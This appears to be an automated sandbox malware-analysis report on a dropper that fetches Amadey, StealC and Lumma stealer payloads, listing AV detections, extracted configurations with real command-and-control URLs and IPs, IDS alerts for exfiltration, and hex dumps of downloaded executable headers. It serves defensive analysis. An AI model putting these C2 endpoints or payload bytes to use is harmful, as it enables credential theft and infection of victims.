Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000003.1685802951.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000001B.00000002.2775509635.0000000001309000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 1026aa8304.exe.8024.7.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 55%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=1026aa8304.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=1026aa8304.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.4:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50052 version: TLS 1.2

Source:	Binary string: The name of the library's debug file. For example, 'xul.pdb source: firefox.exe, 0000002A.00000003.2831793639.000001FA77F13000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: "description": "The name of the library's debug file. For example, 'xul.pdb" source: firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: The id of the tab whose key/value pair is being removed.Marks the study as ended and then uninstalls the addon.The name of the library's debug file. For example, 'xul.pdb source: firefox.exe, 0000002A.00000003.2831793639.000001FA77F13000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 1026aa8304.exe, 00000007.00000002.2944304399.0000000005EC2000.00000040.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2814745354.0000000007FE0000.00000004.00001000.00020000.00000000.sdmp, 822dda4848.exe, 0000001D.00000003.2699074661.0000000004960000.00000004.00001000.00020000.00000000.sdmp, 822dda4848.exe, 0000001D.00000002.2835113823.0000000000A92000.00000040.00000001.01000000.00000014.sdmp

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 28MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 180MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49748 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49759
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49776 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49802 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49810 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49822 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49860 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49861 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49955
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49777 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49777 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49784 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49790 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49784 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49825 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49825 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49859 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49817 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49817 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49905 -> 104.21.33.116:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: https://property-imper.sbs/api
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 19:23:09 GMTContent-Type: application/octet-streamContent-Length: 1840128Last-Modified: Sat, 23 Nov 2024 18:38:12 GMTConnection: keep-aliveETag: "67422114-1c1400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 10 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 49 00 00 04 00 00 70 53 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 72 69 71 65 6d 73 62 00 80 19 00 00 80 2f 00 00 76 19 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 64 7a 78 6b 75 66 6b 00 10 00 00 00 00 49 00 00 04 00 00 00 ee 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 49 00 00 22 00 00 00 f2 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 19:23:18 GMTContent-Type: application/octet-streamContent-Length: 1809920Last-Modified: Sat, 23 Nov 2024 18:38:19 GMTConnection: keep-aliveETag: "6742211b-1b9e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 10 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 69 00 00 04 00 00 da de 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 73 77 63 63 68 78 6b 00 00 1a 00 00 00 4f 00 00 00 1a 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 67 74 62 67 76 67 79 00 10 00 00 00 00 69 00 00 04 00 00 00 78 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 69 00 00 22 00 00 00 7c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 19:23:26 GMTContent-Type: application/octet-streamContent-Length: 922112Last-Modified: Sat, 23 Nov 2024 18:36:26 GMTConnection: keep-aliveETag: "674220aa-e1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a2 20 42 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 4e d4 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 84 a7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 84 a7 00 00 00 40 0d 00 00 a8 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 19:23:33 GMTContent-Type: application/octet-streamContent-Length: 2801152Last-Modified: Sat, 23 Nov 2024 18:36:53 GMTConnection: keep-aliveETag: "674220c5-2abe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 63 3a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 71 6b 66 6f 65 6d 76 00 60 2a 00 00 a0 00 00 00 5e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 74 69 66 6a 64 6d 68 00 20 00 00 00 00 2b 00 00 04 00 00 00 98 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 9c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 19:23:45 GMTContent-Type: application/octet-streamContent-Length: 2801152Last-Modified: Sat, 23 Nov 2024 18:36:55 GMTConnection: keep-aliveETag: "674220c7-2abe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 63 3a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 